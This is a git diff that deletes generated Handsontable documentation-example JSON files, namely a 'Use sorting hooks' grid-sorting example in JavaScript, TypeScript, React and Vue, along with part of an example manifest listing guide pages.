b/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortingHooks.js.json deleted file mode 100644 index f2b2fa5f..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortingHooks.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Rows ▸ Rows sorting · Use sorting hooks · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n Click a column header to sort.\n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#exampleSortingHooks');\nconst status = document.querySelector('#exampleSortingHooksStatus');\nconst data = [\n { brand: 'Jetpulse', model: 'Racing Socks', price: 30, sellDate: '2023-10-11' },\n { brand: 'Gigabox', model: 'HL Mountain Frame', price: 1890.9, sellDate: '2023-05-03' },\n { brand: 'Camido', model: 'Cycling Cap', price: 130.1, sellDate: '2023-03-27' },\n { brand: 'Chatterpoint', model: 'Road Tire Tube', price: 59, sellDate: '2023-08-28' },\n { brand: 'Eidel', model: 'HL Road Tire', price: 279.99, sellDate: '2023-10-02' },\n];\nconst columnDataKeys = ['brand', 'model', 'price', 'sellDate'];\n// Canceling the front-end sort also stops Handsontable from tracking the column's sort\n// order, so this example cycles ascending -> descending -> unsorted manually.\nlet activeSort = null;\nfunction getNextSortOrder(column) {\n if (!activeSort || activeSort.column !== column) {\n return 'asc';\n }\n return activeSort.sortOrder === 'asc' ? 'desc' : null;\n}\n// Simulates a server that receives a sort request and returns sorted rows.\nfunction sortOnServer(columnKey, sortOrder) {\n return new Promise((resolve) => {\n setTimeout(() => {\n const sortedData = [...data].sort((rowA, rowB) => {\n if (rowA[columnKey] === rowB[columnKey]) {\n return 0;\n }\n return (rowA[columnKey] > rowB[columnKey]) === (sortOrder === 'asc') ? 1 : -1;\n });\n resolve(sortedData);\n }, 600);\n });\n}\nconst hot = new Handsontable(container, {\n data,\n columns: [\n { title: 'Brand', type: 'text', data: 'brand' },\n { title: 'Model', type: 'text', data: 'model' },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n ],\n columnSorting: true,\n height: 'auto',\n stretchH: 'all',\n autoWrapRow: true,\n autoWrapCol: true,\n beforeColumnSort(currentSortConfig, destinationSortConfigs) {\n const [requestedSort] = destinationSortConfigs;\n if (!requestedSort) {\n // the sorting was cleared programmatically, restore the original row order\n activeSort = null;\n hot.loadData(data);\n return false;\n }\n const nextOrder = getNextSortOrder(requestedSort.column);\n if (nextOrder === null) {\n activeSort = null;\n status.textContent = 'Cleared the sort.';\n hot.loadData(data);\n return false;\n }\n activeSort = { column: requestedSort.column, sortOrder: nextOrder };\n status.textContent = 'Sorting on the server...';\n sortOnServer(columnDataKeys[requestedSort.column], nextOrder).then((sortedData) => {\n hot.loadData(sortedData);\n status.textContent = 'Sorted on the server.';\n });\n // return `false` to cancel Handsontable's own front-end sort\n return false;\n },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/rows/rows-sorting/javascript/exampleSortingHooks.js","breadcrumb":["Rows","Rows sorting"],"guide":"guides/rows/rows-sorting/rows-sorting.md","guideTitle":"Rows sorting","exampleId":"exampleSortingHooks","exampleTitle":"Use sorting hooks","docPermalink":"/rows-sorting","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortingHooks.ts.json b/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortingHooks.ts.json deleted file mode 100644 index ff26351c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortingHooks.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Rows ▸ Rows sorting · Use sorting hooks · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n Click a column header to sort.\n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleSortingHooks')!;\nconst status = document.querySelector('#exampleSortingHooksStatus')!;\n\nconst data = [\n { brand: 'Jetpulse', model: 'Racing Socks', price: 30, sellDate: '2023-10-11' },\n { brand: 'Gigabox', model: 'HL Mountain Frame', price: 1890.9, sellDate: '2023-05-03' },\n { brand: 'Camido', model: 'Cycling Cap', price: 130.1, sellDate: '2023-03-27' },\n { brand: 'Chatterpoint', model: 'Road Tire Tube', price: 59, sellDate: '2023-08-28' },\n { brand: 'Eidel', model: 'HL Road Tire', price: 279.99, sellDate: '2023-10-02' },\n];\n\nconst columnDataKeys = ['brand', 'model', 'price', 'sellDate'];\n\n// Canceling the front-end sort also stops Handsontable from tracking the column's sort\n// order, so this example cycles ascending -> descending -> unsorted manually.\nlet activeSort: { column: number; sortOrder: 'asc' | 'desc' } | null = null;\n\nfunction getNextSortOrder(column: number): 'asc' | 'desc' | null {\n if (!activeSort || activeSort.column !== column) {\n return 'asc';\n }\n\n return activeSort.sortOrder === 'asc' ? 'desc' : null;\n}\n\n// Simulates a server that receives a sort request and returns sorted rows.\nfunction sortOnServer(columnKey: string, sortOrder: string) {\n return new Promise((resolve) => {\n setTimeout(() => {\n const sortedData = [...data].sort((rowA: any, rowB: any) => {\n if (rowA[columnKey] === rowB[columnKey]) {\n return 0;\n }\n\n return (rowA[columnKey] > rowB[columnKey]) === (sortOrder === 'asc') ? 1 : -1;\n });\n\n resolve(sortedData);\n }, 600);\n });\n}\n\nconst hot = new Handsontable(container, {\n data,\n columns: [\n { title: 'Brand', type: 'text', data: 'brand' },\n { title: 'Model', type: 'text', data: 'model' },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n ],\n columnSorting: true,\n height: 'auto',\n stretchH: 'all',\n autoWrapRow: true,\n autoWrapCol: true,\n beforeColumnSort(currentSortConfig, destinationSortConfigs) {\n const [requestedSort] = destinationSortConfigs;\n\n if (!requestedSort) {\n // the sorting was cleared programmatically, restore the original row order\n activeSort = null;\n hot.loadData(data);\n\n return false;\n }\n\n const nextOrder = getNextSortOrder(requestedSort.column);\n\n if (nextOrder === null) {\n activeSort = null;\n status.textContent = 'Cleared the sort.';\n hot.loadData(data);\n\n return false;\n }\n\n activeSort = { column: requestedSort.column, sortOrder: nextOrder };\n status.textContent = 'Sorting on the server...';\n\n sortOnServer(columnDataKeys[requestedSort.column], nextOrder).then((sortedData) => {\n hot.loadData(sortedData);\n status.textContent = 'Sorted on the server.';\n });\n\n // return `false` to cancel Handsontable's own front-end sort\n return false;\n },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/rows/rows-sorting/javascript/exampleSortingHooks.ts","breadcrumb":["Rows","Rows sorting"],"guide":"guides/rows/rows-sorting/rows-sorting.md","guideTitle":"Rows sorting","exampleId":"exampleSortingHooks","exampleTitle":"Use sorting hooks","docPermalink":"/rows-sorting","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleSortingHooks.tsx.json b/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleSortingHooks.tsx.json deleted file mode 100644 index e1f0a40d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleSortingHooks.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Rows ▸ Rows sorting · Use sorting hooks · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleSortingHooks\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useState } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data = [\n { brand: 'Jetpulse', model: 'Racing Socks', price: 30, sellDate: '2023-10-11' },\n { brand: 'Gigabox', model: 'HL Mountain Frame', price: 1890.9, sellDate: '2023-05-03' },\n { brand: 'Camido', model: 'Cycling Cap', price: 130.1, sellDate: '2023-03-27' },\n { brand: 'Chatterpoint', model: 'Road Tire Tube', price: 59, sellDate: '2023-08-28' },\n { brand: 'Eidel', model: 'HL Road Tire', price: 279.99, sellDate: '2023-10-02' },\n];\n\nconst columnDataKeys = ['brand', 'model', 'price', 'sellDate'];\n\n// Simulates a server that receives a sort request and returns sorted rows.\nfunction sortOnServer(columnKey: string, sortOrder: string) {\n return new Promise((resolve) => {\n setTimeout(() => {\n const sortedData = [...data].sort((rowA: any, rowB: any) => {\n if (rowA[columnKey] === rowB[columnKey]) {\n return 0;\n }\n\n return (rowA[columnKey] > rowB[columnKey]) === (sortOrder === 'asc') ? 1 : -1;\n });\n\n resolve(sortedData);\n }, 600);\n });\n}\n\nconst ExampleComponent = () => {\n // `data` is kept in state (instead of loaded imperatively) so a `status` update doesn't\n // make HotTable re-apply the original `data` prop and undo the sort.\n const [gridData, setGridData] = useState(data);\n const [status, setStatus] = useState('Click a column header to sort.');\n\n // Canceling the front-end sort also stops Handsontable from tracking the column's sort\n // order, so this example cycles ascending -> descending -> unsorted manually.\n const activeSortRef = useRef<{ column: number; sortOrder: 'asc' | 'desc' } | null>(null);\n\n const getNextSortOrder = (column: number): 'asc' | 'desc' | null => {\n const activeSort = activeSortRef.current;\n\n if (!activeSort || activeSort.column !== column) {\n return 'asc';\n }\n\n return activeSort.sortOrder === 'asc' ? 'desc' : null;\n };\n\n return (\n <>\n
    \n
    \n {status}\n
    \n
    \n {\n const [requestedSort] = destinationSortConfigs;\n\n if (!requestedSort) {\n // the sorting was cleared programmatically, restore the original row order\n activeSortRef.current = null;\n setGridData(data);\n\n return false;\n }\n\n const nextOrder = getNextSortOrder(requestedSort.column);\n\n if (nextOrder === null) {\n activeSortRef.current = null;\n setStatus('Cleared the sort.');\n setGridData(data);\n\n return false;\n }\n\n activeSortRef.current = { column: requestedSort.column, sortOrder: nextOrder };\n setStatus('Sorting on the server...');\n\n sortOnServer(columnDataKeys[requestedSort.column], nextOrder).then((sortedData) => {\n setGridData(sortedData);\n setStatus('Sorted on the server.');\n });\n\n // return `false` to cancel Handsontable's own front-end sort\n return false;\n }}\n height=\"auto\"\n stretchH=\"all\"\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/rows/rows-sorting/react/exampleSortingHooks.tsx","breadcrumb":["Rows","Rows sorting"],"guide":"guides/rows/rows-sorting/rows-sorting.md","guideTitle":"Rows sorting","exampleId":"exampleSortingHooks","exampleTitle":"Use sorting hooks","docPermalink":"/rows-sorting","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleSortingHooks.vue.json b/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleSortingHooks.vue.json deleted file mode 100644 index 1ffe2721..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleSortingHooks.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Rows ▸ Rows sorting · Use sorting hooks · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleSortingHooks\");","/src/App.vue":"\n\n"},"docsPath":"guides/rows/rows-sorting/vue/exampleSortingHooks.vue","breadcrumb":["Rows","Rows sorting"],"guide":"guides/rows/rows-sorting/rows-sorting.md","guideTitle":"Rows sorting","exampleId":"exampleSortingHooks","exampleTitle":"Use sorting hooks","docPermalink":"/rows-sorting","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/manifest.json b/runner/apps/authoring/public/docs-examples/manifest.json deleted file mode 100644 index 3aa37d15..00000000 --- a/runner/apps/authoring/public/docs-examples/manifest.json +++ /dev/null @@ -1,21874 +0,0 @@ -{ - "generatedFrom": "handsontable/docs content/guides/** + content/recipes/**", - "hotVersion": "18.0.0", - "count": 1451, - "examples": [ - { - "docsPath": "guides/accessibility/accessibility/angular/example1.ts", - "file": "guides__accessibility__accessibility__angular__example1.ts.json", - "breadcrumb": [ - "Accessibility" - ], - "guide": "guides/accessibility/accessibility/accessibility.md", - "guideTitle": "Accessibility", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/accessibility", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessibility/accessibility/javascript/example1.js", - "file": "guides__accessibility__accessibility__javascript__example1.js.json", - "breadcrumb": [ - "Accessibility" - ], - "guide": "guides/accessibility/accessibility/accessibility.md", - "guideTitle": "Accessibility", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/accessibility", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessibility/accessibility/javascript/example1.ts", - "file": "guides__accessibility__accessibility__javascript__example1.ts.json", - "breadcrumb": [ - "Accessibility" - ], - "guide": "guides/accessibility/accessibility/accessibility.md", - "guideTitle": "Accessibility", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/accessibility", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessibility/accessibility/react/example2.tsx", - "file": "guides__accessibility__accessibility__react__example2.tsx.json", - "breadcrumb": [ - "Accessibility" - ], - "guide": "guides/accessibility/accessibility/accessibility.md", - "guideTitle": "Accessibility", - "exampleId": "example2", - "exampleTitle": "Accessible data grid demo", - "docPermalink": "/accessibility", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessibility/accessibility/vue/example2.vue", - "file": "guides__accessibility__accessibility__vue__example2.vue.json", - "breadcrumb": [ - "Accessibility" - ], - "guide": "guides/accessibility/accessibility/accessibility.md", - "guideTitle": "Accessibility", - "exampleId": "example2", - "exampleTitle": "Accessible data grid demo", - "docPermalink": "/accessibility", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/column-menu/angular/example1.ts", - "file": "guides__accessories-and-menus__column-menu__angular__example1.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Column menu" - ], - "guide": "guides/accessories-and-menus/column-menu/column-menu.md", - "guideTitle": "Column menu", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-menu", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/column-menu/javascript/example1.js", - "file": "guides__accessories-and-menus__column-menu__javascript__example1.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Column menu" - ], - "guide": "guides/accessories-and-menus/column-menu/column-menu.md", - "guideTitle": "Column menu", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-menu", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/column-menu/react/example1.tsx", - "file": "guides__accessories-and-menus__column-menu__react__example1.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Column menu" - ], - "guide": "guides/accessories-and-menus/column-menu/column-menu.md", - "guideTitle": "Column menu", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-menu", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/column-menu/javascript/example1.ts", - "file": "guides__accessories-and-menus__column-menu__javascript__example1.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Column menu" - ], - "guide": "guides/accessories-and-menus/column-menu/column-menu.md", - "guideTitle": "Column menu", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-menu", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/column-menu/vue/example1.vue", - "file": "guides__accessories-and-menus__column-menu__vue__example1.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Column menu" - ], - "guide": "guides/accessories-and-menus/column-menu/column-menu.md", - "guideTitle": "Column menu", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-menu", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/column-menu/angular/example2.ts", - "file": "guides__accessories-and-menus__column-menu__angular__example2.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Column menu" - ], - "guide": "guides/accessories-and-menus/column-menu/column-menu.md", - "guideTitle": "Column menu", - "exampleId": "example2", - "exampleTitle": "Plugin configuration", - "docPermalink": "/column-menu", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/column-menu/javascript/example2.js", - "file": "guides__accessories-and-menus__column-menu__javascript__example2.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Column menu" - ], - "guide": "guides/accessories-and-menus/column-menu/column-menu.md", - "guideTitle": "Column menu", - "exampleId": "example2", - "exampleTitle": "Plugin configuration", - "docPermalink": "/column-menu", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/column-menu/react/example2.tsx", - "file": "guides__accessories-and-menus__column-menu__react__example2.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Column menu" - ], - "guide": "guides/accessories-and-menus/column-menu/column-menu.md", - "guideTitle": "Column menu", - "exampleId": "example2", - "exampleTitle": "Plugin configuration", - "docPermalink": "/column-menu", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/column-menu/javascript/example2.ts", - "file": "guides__accessories-and-menus__column-menu__javascript__example2.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Column menu" - ], - "guide": "guides/accessories-and-menus/column-menu/column-menu.md", - "guideTitle": "Column menu", - "exampleId": "example2", - "exampleTitle": "Plugin configuration", - "docPermalink": "/column-menu", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/column-menu/vue/example2.vue", - "file": "guides__accessories-and-menus__column-menu__vue__example2.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Column menu" - ], - "guide": "guides/accessories-and-menus/column-menu/column-menu.md", - "guideTitle": "Column menu", - "exampleId": "example2", - "exampleTitle": "Plugin configuration", - "docPermalink": "/column-menu", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/angular/example1.ts", - "file": "guides__accessories-and-menus__context-menu__angular__example1.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/context-menu", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/javascript/example1.js", - "file": "guides__accessories-and-menus__context-menu__javascript__example1.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/context-menu", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/react/example1.tsx", - "file": "guides__accessories-and-menus__context-menu__react__example1.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/context-menu", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/javascript/example1.ts", - "file": "guides__accessories-and-menus__context-menu__javascript__example1.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/context-menu", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/vue/example1.vue", - "file": "guides__accessories-and-menus__context-menu__vue__example1.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/context-menu", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/angular/example2.ts", - "file": "guides__accessories-and-menus__context-menu__angular__example2.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example2", - "exampleTitle": "Context menu with selected options", - "docPermalink": "/context-menu", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/javascript/example2.js", - "file": "guides__accessories-and-menus__context-menu__javascript__example2.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example2", - "exampleTitle": "Context menu with selected options", - "docPermalink": "/context-menu", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/react/example2.tsx", - "file": "guides__accessories-and-menus__context-menu__react__example2.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example2", - "exampleTitle": "Context menu with selected options", - "docPermalink": "/context-menu", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/javascript/example2.ts", - "file": "guides__accessories-and-menus__context-menu__javascript__example2.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example2", - "exampleTitle": "Context menu with selected options", - "docPermalink": "/context-menu", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/vue/example2.vue", - "file": "guides__accessories-and-menus__context-menu__vue__example2.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example2", - "exampleTitle": "Context menu with selected options", - "docPermalink": "/context-menu", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/angular/example3.ts", - "file": "guides__accessories-and-menus__context-menu__angular__example3.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example3", - "exampleTitle": "Menu item configuration options", - "docPermalink": "/context-menu", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/javascript/example3.js", - "file": "guides__accessories-and-menus__context-menu__javascript__example3.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example3", - "exampleTitle": "Menu item configuration options", - "docPermalink": "/context-menu", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/react/example3.tsx", - "file": "guides__accessories-and-menus__context-menu__react__example3.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example3", - "exampleTitle": "Menu item configuration options", - "docPermalink": "/context-menu", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/javascript/example3.ts", - "file": "guides__accessories-and-menus__context-menu__javascript__example3.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example3", - "exampleTitle": "Menu item configuration options", - "docPermalink": "/context-menu", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/vue/example3.vue", - "file": "guides__accessories-and-menus__context-menu__vue__example3.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example3", - "exampleTitle": "Menu item configuration options", - "docPermalink": "/context-menu", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/react/example4.tsx", - "file": "guides__accessories-and-menus__context-menu__react__example4.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": "guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example4", - "exampleTitle": "Context menu with custom options", - "docPermalink": "/context-menu", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/context-menu/vue/example4.vue", - "file": "guides__accessories-and-menus__context-menu__vue__example4.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Context menu" - ], - "guide": 